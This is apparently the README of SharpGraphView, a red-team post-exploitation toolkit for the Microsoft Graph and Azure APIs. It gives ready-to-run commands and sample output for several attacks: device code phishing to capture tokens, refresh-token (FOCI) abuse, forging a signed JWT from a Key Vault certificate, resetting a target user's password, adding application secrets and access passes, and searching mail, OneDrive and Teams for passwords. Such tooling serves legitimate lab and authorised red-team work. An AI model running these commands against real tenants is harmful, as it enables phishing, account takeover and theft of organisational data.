READ-ONLY: Please see Graphpython for a more comprehensive solution covering everything from SharpGraphView and much more
Sharp post-exploitation toolkit providing modular access to the Microsoft Graph API (graph.microsoft.com) for cloud and red team operations.
Created during the Advanced Azure Cloud Attacks Lab. Inspired by GraphRunner and TokenTactics.
Compiled executable in bin/Release
is ready to go.
If loading and building for the first time select the 'Restore' button in VS (may need to add and use nuget.org as a package source then update any packages via References
> Manage NuGet Packages...
> Updates
)
The following packages are required:
- Newtonsoft.Json
- Costura.Fody
All methods and flags are case-insensitve. Method must be the first argument, flags are position-independent.
SharpGraphView by @mlcsec
Usage:
SharpGraphView.exe [Method] [-Domain <domain>] [-Tenant <tenant id>] [-Id <object id>] [-Select <display property>] [-Query <api endpoint>] [-Search <string> -Entity <entity>] [-Token <access token>] [-Cert <pfx cert>]
Flags:
-Token - Microsoft Graph access token or refresh token for FOCI abuse
-Cert - X509Certificate path
-Domain - Target domain
-Tenant - Target tenant ID
-Id - ID of target object
-Key - Azure Key Vault name (New-SignedJWT)
-Select - Filter output for comma seperated properties
-Query - Raw API query (GET request only)
-Search - Search string
-Entity - Search entity [driveItem (OneDrive), message (Mail), chatMessage (Teams), site (SharePoint), event (Calenders)]
-help - Show help
Auth:
Get-GraphTokens - Obtain graph token via device code phish (saved to graph_tokens.txt)
Get-TenantID - Get tenant ID for target domain
Get-TokenScope - Get scope of supplied token
Invoke-RefreshToMSGraphToken - Convert refresh token to Micrsoft Graph token (saved to new_graph_tokens.txt)
Invoke-RefreshToAzureManagementToken - Convert refresh token to Azure Management token (saved to az_tokens.txt)
Invoke-RefreshToVaultToken - Convert refresh token to Azure Vault token (saved to vault_tokens.txt)
Invoke-CertToAccessToken - Convert Azure Application certificate to JWT access token (saved to cert_tokens.txt)
New-SignedJWT - Construct JWT and sign using Key Vault certificate (Azure Key Vault access token required) then generate Azure Management (ARM) token
Post-Auth:
Get-CurrentUser - Get current user profile
Get-CurrentUserActivity - Get recent actvity and actions of current user
Get-OrgInfo - Get information relating to the target organisation
Get-Domains - Get domain objects
Get-User - Get all users (default) or target user (-id)
Get-UserProperties - Get current user properties (default) or target user (-id)
Get-UserGroupMembership - Get group memberships for current user (default) or target user (-id)
Get-UserTransitiveGroupMembership - Get transitive group memberships for current user (default) or target user (-id)
Get-Group - Get all groups (default) or target group (-id)
Get-GroupMember - Get all members of target group
Get-AppRoleAssignments - Get application role assignments for current user (default) or target user (-id)
Get-ConditionalAccessPolicy - Get conditional access policy properties
Get-PersonalContacts - Get contacts of the current user
Get-CrossTenantAccessPolicy - Get cross tentant access policy properties
Get-PartnerCrossTenantAccessPolicy - Get partner cross tenant access policy
Get-UserChatMessages - Get ALL messages from all chats for target user (Chat.Read.All)
Get-AdministrativeUnitMember - Get members of administrative unit
Get-OneDriveFiles - Get all accessible OneDrive files for current user (default) or target user (-id)
Get-UserPermissionGrants - Get permissions grants of current user (default) or target user (-id)
Get-oauth2PermissionGrants - Get oauth2 permission grants for current user (default) or target user (-id)
Get-Messages - Get all messages in signed-in user's mailbox (default) or target user (-id)
Get-TemporaryAccessPassword - Get TAP details for current user (default) or target user (-id)
Get-Password - Get passwords registered to current user (default) or target user (-id)
List-AuthMethods - List authentication methods for current user (default) or target user (-id)
List-DirectoryRoles - List all directory roles activated in the tenant
List-Notebooks - List current user notebooks (default) or target user (-id)
List-ConditionalAccessPolicies - List conditional access policy objects
List-ConditionalAuthenticationContexts - List conditional access authentication context
List-ConditionalNamedLocations - List conditional access named locations
List-SharePointRoot - List root SharePoint site properties
List-SharePointSites - List any available SharePoint sites
List-ExternalConnections - List external connections
List-Applications - List all Azure Applications
List-ServicePrincipals - List all service principals
List-Tenants - List tenants
List-JoinedTeams - List joined teams for current user (default) or target user (-id)
List-Chats - List chats for current user (default) or target user (-id)
List-ChatMessages - List messages in target chat (-id)
List-Devices - List devices
List-AdministrativeUnits - List administrative units
List-OneDrives - List current user OneDrive (default) or target user (-id)
List-RecentOneDriveFiles - List current user recent OneDrive files
List-SharedOneDriveFiles - List OneDrive files shared with the current user
Invoke-Search - Search for string within entity type (driveItem, message, chatMessage, site, event)
Find-PrivilegedRoleUsers - Find users with privileged roles assigned
Invoke-CustomQuery - Custom GET query to target Graph API endpoint
Update-UserPassword - Update the passwordProfile of the target user (NewUserS3cret@Pass!)
Add-ApplicationPassword - Add client secret to target application
Add-UserTAP - Add new Temporary Access Password (TAP) to target user
Examples:
SharpGraphView.exe Get-GraphTokens
SharpGraphView.exe Invoke-RefreshToAzureManagementToken -tenant <tenant id> -token <refresh token>
SharpGraphView.exe Get-User -id john.doe@vulncorp.onmicrosoft.com -token .\token.txt -select displayname,id
SharpGraphView.exe Get-UserGroupMembership -token eyJ0eXAiOiJKV1QiLC...
SharpGraphView.exe List-RecentOneDriveFiles -token .\token.txt
SharpGraphView.exe Invoke-Search -search "password" -entity driveItem -token eyJ0eXAiOiJKV1QiLC...
SharpGraphView.exe Invoke-CustomQuery -Query "https://graph.microsoft.com/v1.0/sites/{siteId}/drives" -token .\token.txt
Microsoft Graph access token (REQUIRED for all methods except Get-GraphTokens
) or refresh token for FOCI abuse (Invoke-Refresh*
methods)
PS > .\SharpGraphView.exe Get-Group -token .\token.txt
PS > .\SharpGraphView.exe Get-Group -token eyJ0eXAiOiJKV1QiLCJ...
Path to Azure Application X509Certificate (REQUIRED for Invoke-CertToAccessToken
):
PS > .\SharpGraphView.exe Invoke-CertToAccessToken -tenant <tenant id> -cert .\cert.pfx -id <app id>
Target domain name (REQUIRED for Get-TenantID
)
PS > .\SharpGraphView.exe Get-TenantID -domain targetcorp.domain
Target Tenant ID (REQUIRED for Invoke-Refresh*
methods)
PS > .\SharpGraphView.exe Invoke-RefreshToAzureManagementToken -token refreshtoken.txt -tenant fbf34b9d-6375-4137-ae1f-8cb12df29bb5
ID of target object
- can be the user ID or User Principal Name for user related methods
- use the object ID for all others (groups, admin units, etc.)
PS > .\SharpGraphView.exe Get-User -id 5a48ab0f-c546-441f-832a-8ab48348e372 -token .\token.txt
PS > .\SharpGraphView.exe Get-User -id JohnDoe@TargetCorp1.onmicrosoft.com -token .\token.txt
Key Vault certificate key name (REQUIRED for New-SignedJWT
method) e.g. take the following Key Vault Certificate URL endpoint:
https://devappvault.vault.azure.net/certificates/DevAppCert
The -Key value would be DevAppCert
.\SharpGraphView.exe New-SignedJWT -id <appid> -tenant <tenantid> -query https://devappvault.vault.azure.net -key DevAppCert -token <vault token>
Filter output and only display the supplied comma separated properties:
PS > .\SharpGraphView.exe Get-Group -token .\token.txt -select displayname,description
[*] Get-Group
value: [
{
"displayName": "DevOps",
"description": "Members of this group will have access to DevOps resources"
},
...
Raw API query (GET request endpoints only currently)
- useful for enumerating drive items and other resources with variable endpoints:
GET /drives/{drive-id}/items/{item-id}/children
GET /groups/{group-id}/drive/items/{item-id}/children
GET /me/drive/items/{item-id}/children
GET /sites/{site-id}/drive/items/{item-id}/children
GET /users/{user-id}/drive/items/{item-id}/children
Example below returning select user details from /me
endpoint:
PS > .\SharpGraphView.exe invoke-customquery -query https://graph.microsoft.com/v1.0/me -token .\token.txt -select displayname,userprincipalname
[*] Invoke-CustomQuery
displayName: John Doe
userPrincipalName: JohnDoe@TargetCorp1.onmicrosoft.com
Search string, e.g. "password"
- need to add
queryTemplate
option to filter by properties (e.g.{searchTerms} CreatedBy:
etc.) using KQL
Target resource (entity) to search e.g. driveItem (OneDrive), message (Mail), chatMessage (Teams), site (SharePoint), event (Calenders)
- more details can be found within the Microsoft Graph API docs
PS > .\SharpGraphView.exe invoke-search -search "credentials" -entity driveItem -token .\token.txt
PS > .\SharpGraphView.exe invoke-search -search "password" -entity message -token .\token.txt
Command | Description |
---|---|
Get-GraphTokens | Get graph token via device code phish (saved to graph_tokens.txt) |
Get-TenantID -Domain <domain> | Get tenant ID for target domain |
Get-TokenScope -Token <token> | Get scope for the supplied token |
Invoke-RefreshToMSGraphToken -Token <refresh> -Tenant <id> | Convert refresh token to Microsoft Graph token (saved to new_graph_tokens.txt) |
Invoke-RefreshToAzureManagementToken -Token <refresh> -Tenant <id> | Convert refresh token to Azure Management token (saved to az_tokens.txt) |
Invoke-RefreshToVaultToken -Token <refresh> | Convert refresh token to Azure Vault token (saved to vault_tokens.txt) |
Invoke-CertToAccessToken -Cert <path to pfx> -ID <app id> -Tenant <id> | Convert Azure Application certificate to JWT access token |
New-SignedJWT -ID <appid> -Tenant <id> -Query <vault URL> -key <vault key> -Token <vault token> | Construct JWT and sign using Key Vault certificate (Azure Key Vault access token required) then generate Azure Management (ARM) token |
All methods are subject to the assigned roles and permissions for the current access account
- The
-token
flag is REQUIRED for all post-authentication methods. - Flags in square brackets/italics below are optional arguments. Flags without are REQUIRED.
Method | Description |
---|---|
Get-CurrentUser | Get current user profile |
Get-CurrentUserActivity | Get recent activity and actions of current user |
Get-OrgInfo | Get information relating to the target organization |
Get-Domains | Get domain objects |
Get-User [-ID <userid/upn>] | Get all users (default) or target user (-id) |
Get-UserProperties [-ID <userid/upn>] | Get current user properties (default) or target user (-id) !WARNING! loud/slow due to 403 errors when grouping properties |
Get-UserGroupMembership [-ID <userid/upn>] | Get group memberships for current user (default) or target user (-id) |
Get-UserTransitiveGroupMembership [-ID <userid/upn>] | Get transitive group memberships for current user (default) or target user (-id) |
Get-Group [-ID <groupid>] | Get all groups (default) or target group (-id) |
Get-GroupMember -ID <groupid> | Get all members of target group |
Get-AppRoleAssignments [-ID <userid/upn>] | Get application role assignments for current user (default) or target user (-id) |
Get-ConditionalAccessPolicy -ID <cap id> | Get conditional access policy properties |
Get-PersonalContacts | Get contacts of the current user |
Get-CrossTenantAccessPolicy | Get cross tenant access policy properties |
Get-PartnerCrossTenantAccessPolicy | Get partner cross tenant access policy |
Get-UserChatMessages -ID <userid/upn> | Get all messages from all chats for target user |
Get-AdministrativeUnitMember -ID <admin unit id> | Get members of administrative unit |
Get-OneDriveFiles [-ID <userid/upn>] | Get all accessible OneDrive files for current user (default) or target user (-id) |
Get-UserPermissionGrants [-ID <userid/upn>] | Get permissions grants of current user (default) or target user (-id) |
Get-oauth2PermissionGrants [-ID <userid/upn>] | Get oauth2 permission grants for current user (default) or target user (-id) |
Get-Messages [-ID <userid/upn>] | Get all messages in signed-in user's mailbox (default) or target user (-id) |
Get-TemporaryAccessPassword [-ID <userid/upn>] | Get TAP details for current user (default) or target user (-id) |
Get-Password [-ID <userid/upn>] | Get passwords registered to current user (default) or target user (-id) |
List-AuthMethods [-ID <userid/upn>] | List authentication methods for current user (default) or target user (-id) |
List-DirectoryRoles | List all directory roles activated in the tenant |
List-Notebooks [-ID <userid/upn>] | List current user notebooks (default) or target user (-id) |
List-ConditionalAccessPolicies | List conditional access policy objects |
List-ConditionalAuthenticationContexts | List conditional access authentication context |
List-ConditionalNamedLocations | List conditional access named locations |
List-SharePointRoot | List root SharePoint site properties |
List-SharePointSites | List any available SharePoint sites |
List-ExternalConnections | List external connections |
List-Applications | List all Azure Applications |
List-ServicePrincipals | List all service principals |
List-Tenants | List tenants |
List-JoinedTeams [-ID <userid/upn>] | List joined teams for current user (default) or target user (-id) |
List-Chats [-ID <userid/upn>] | List chats for current user (default) or target user (-id) |
List-Devices | List devices |
List-AdministrativeUnits | List administrative units |
List-OneDrives [-ID <userid/upn>] | List current user OneDrive (default) or target user (-id) |
List-RecentOneDriveFiles | List current users recent OneDrive files |
List-SharedOneDriveFiles | List OneDrive files shared with the current user |
Invoke-Search -Search <string> -Entity <entity> | Search for string within entity type (driveItem, message, chatMessage, site, event) |
Find-PrivilegedRoleUsers | Find users with privileged roles assigned |
Invoke-CustomQuery -Query <graph endpoint URL> | Custom GET query to target Graph API endpoint e.g. https://graph.microsoft.com/v1.0/me |
Update-UserPassword -ID <userid/upn> | Update the passwordProfile of the target user (NewUserS3cret@Pass!) |
Add-ApplicationPassword -ID <appid> | Add client secret to target application |
Add-UserTAP -ID <userid/upn> | Add new Temporary Access Password (TAP) to target user |
More commands and options to be added
Method | Description | Endpoints |
---|---|---|
Add-GroupMember | Add user to target group | POST /groups/{group-id}/members/$ref |
Create-User | Create new malicious user | POST /users |
Addtional Invoke-RefreshTo...
methods can be ported from TokenHandler.ps1.
Generates a sign-in message along with a unique code to be sent to the victim (device code phishing). Monitors for authentication, with a timeout set to 15 minutes. Upon successful authentication, a valid token is returned:
The Microsoft Graph API access token can then be copied to a local file or directly parsed to the -token
parameter:
PS > .\SharpGraphView.exe get-usergroupmembership -token .\token.txt
[*] Get-UserGroupMembership
value: [
{
"@odata.type": "#microsoft.graph.directoryRole",
"id": "5a48ab0f-c546-441f-832a-8ab48348e372",
"deletedDateTime": null,
"description": "Can read everything that a Global Administrator can, but not update anything.",
"displayName": "Global Reader",
"roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451"
}
]
FOCI can be abused to obtain a valid Azure Management token using the refresh token obtained from Get-GraphTokens
. Use Get-TenantID -domain <target.domain>
to get the tenant ID of the target domain.
The Azure Management token can then be used with Connect-AzAccount
to access Azure resources via the Azure Management (Az) PowerShell module:
PS > $aztoken = "eyJ0eXAiOiJKV1QiLCJ..."
PS > Connect-AzAccount -AccessToken $aztoken -AccountId JohnDoe@TargetCorp1.onmicrosoft.com
Account SubscriptionName TenantId Environment
------- ---------------- -------- -----------
JohnDoe@TargetCorp1.onmicrosoft.com TargetCorp1 fbf34b9d-6375-4137-ae1f-8cb12df29bb5 AzureCloud
FOCI can be abused again to obtain a new Microsoft Graph token if the original token has expired:
PS > .\SharpGraphView.exe Invoke-RefreshTokenToMSGraphToken -token .\refreshtoken.txt -tenant <tenant id>
An Azure Vault token can be obtained in a similar fashion:
PS > .\SharpGraphView.exe invoke-refreshtovaulttoken -token <refresh>
[*] Invoke-RefreshToVaultToken
[+] Token Obtained!
[*] token_type: Bearer
[*] scope: https://vault.azure.net/user_impersonation https://vault.azure.net/.default
[*] expires_in: 5164
[*] ext_expires_in: 5164
[*] access_token: eyJ0eXAiOiJKV1QiL...
[*] refresh_token: 0.AUoAQlq91mV...
[*] foci: 1
[*] id_token: eyJ0eXAiOiJKV1Q...
[+] Token information written to 'vault_tokens.txt'.
# connect with new Vault token
PS > Connect-AzAccount -AccessToken <ARM access token> -KeyVaultAccessToken <vault access token> -AccountId <user account>
Obtain an access token from a valid Azure Application certificate then authenticate as the service principal:
PS > .\SharpGraphView.exe Invoke-CertToAccessToken -tenant <tenant id> -cert .\cert.pfx -id <app id>
[*] Invoke-CertToAccessToken
[+] Token Obtained!
[*] token_type: Bearer
[*] expires_in: 3599
[*] ext_expires_in: 3599
[*] access_token: eyJ0eXAiOiJKV1QiLCJub2...
[+] Token information written to 'cert_tokens.txt'.
The access token can then be used as normal with the -Token
flag.
Display the scope of the access token:
PS > .\SharpGraphView.exe get-tokenscope -token eyJ0eXAiOiJKV...
[*] Get-TokenScope
AuditLog.Read.All
Calendar.ReadWrite
Calendars.Read.Shared
Calendars.ReadWrite
Contacts.ReadWrite
DataLossPreventionPolicy.Evaluate
Directory.AccessAsUser.All
Directory.Read.All
Files.Read
Files.Read.All
Files.ReadWrite.All
Group.Read.All
Group.ReadWrite.All
InformationProtectionPolicy.Read
Mail.ReadWrite
Mail.Send
Notes.Create
Organization.Read.All
People.Read
People.Read.All
Printer.Read.All
PrintJob.ReadWriteBasic
SensitiveInfoType.Detect
SensitiveInfoType.Read.All
SensitivityLabel.Evaluate
Tasks.ReadWrite
TeamMember.ReadWrite.All
TeamsTab.ReadWriteForChat
User.Read.All
User.ReadBasic.All
User.ReadWrite
Users.Read
Construct new JWT token with the details extracted from Key Vault Certificate and sign it. Requires the following permissions:
Microsoft.KeyVault/vaults/certificates/read
Microsoft.KeyVault/vaults/keys/read
Microsoft.KeyVault/vaults/keys/sign/action
Generating a signed JWT and request an Azure Management token (ARM):
PS > .\SharpGraphView.exe New-SignedJWT -id f9f75aac-fe0a-47e6-bfd3-98d8af327d8a -tenant fbf34b9d-6375-4137-ae1f-8cb12df29bb5 -query https://DevAppVault.vault.azure.net -key DevAppCert -token $vault_token
[*] New-SignedJWT
[+] Certificate Details Obtained!
kid: https://devappvault.vault.azure.net/keys/DevAppCert/2fb10001e7f0474916dec596b3818d56
x5t: 9xdFz3zEX8jJax-ihve1h-GhmQa
[+] Forged JWT:
eyJ4NXQiOiJxNnhGejN6RVg4akpheC1paHZlMWgtUmR1TVUiLCJ0eXAiOi...
[+] Azure Management Token Obtained!
[*] Application ID: f9f75aac-fe0a-47e6-bfd3-98d8af327d8a
[*] Tenant ID: fbf34b9d-6375-4137-ae1f-8cb12df29bb5
[*] Scope: https://management.azure.com/.default
[*] token_type: Bearer
[*] expires_in: 3599
[*] ext_expires_in: 3599
[*] access_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkwxS2ZLRklfam5YYndXYzI...
The returned management token can then be used to authenticate to Azure:
PS > Connect-AzAccount -AccessToken eyJ0eXAiOi... -AccountId f9f75aac-fe0a-47e6-bfd3-98d8af327d8a
Account SubscriptionName TenantId Environment
------- ---------------- -------- -----------
f9f75aac-fe0a-47e6-bfd3-98d8af327d8a TargetCorp-1 fbf34b9d-6375-4137-ae1f-8cb12df29bb5 AzureCloud
Several HTTP error codes may be encountered when running certain methods:
400
- Bad request, can occur when authenticated as a service principal and attempt to use methods which target/me/<...>
endpoints401
- Unauthorised, commonly occurs when an access token expires, isn't formatted correctly, or hasn't been supplied403
- Access to the resource/endpoint is forbidden, likely due to insufficient perms or some form of conditional access429
- User has sent too many requests in a given amount of time and triggered tate limiting, hold off for a few minutes
Currently, only access token authentication is supported. The following authentication processes will be ported:
# client secret auth:
$password = ConvertTo-SecureString 'app secret...' -AsPlainText -Force
creds = New-Object System.Management.Automation.PSCredential('app id', $password)
Connect-MgGraph -ClientSecretCredential $creds -TenantId <>
Additional auth methods from Connect-MgGraph can be ported as necessary.
- inlineExecute-Assembly
- bofnet_executeassembly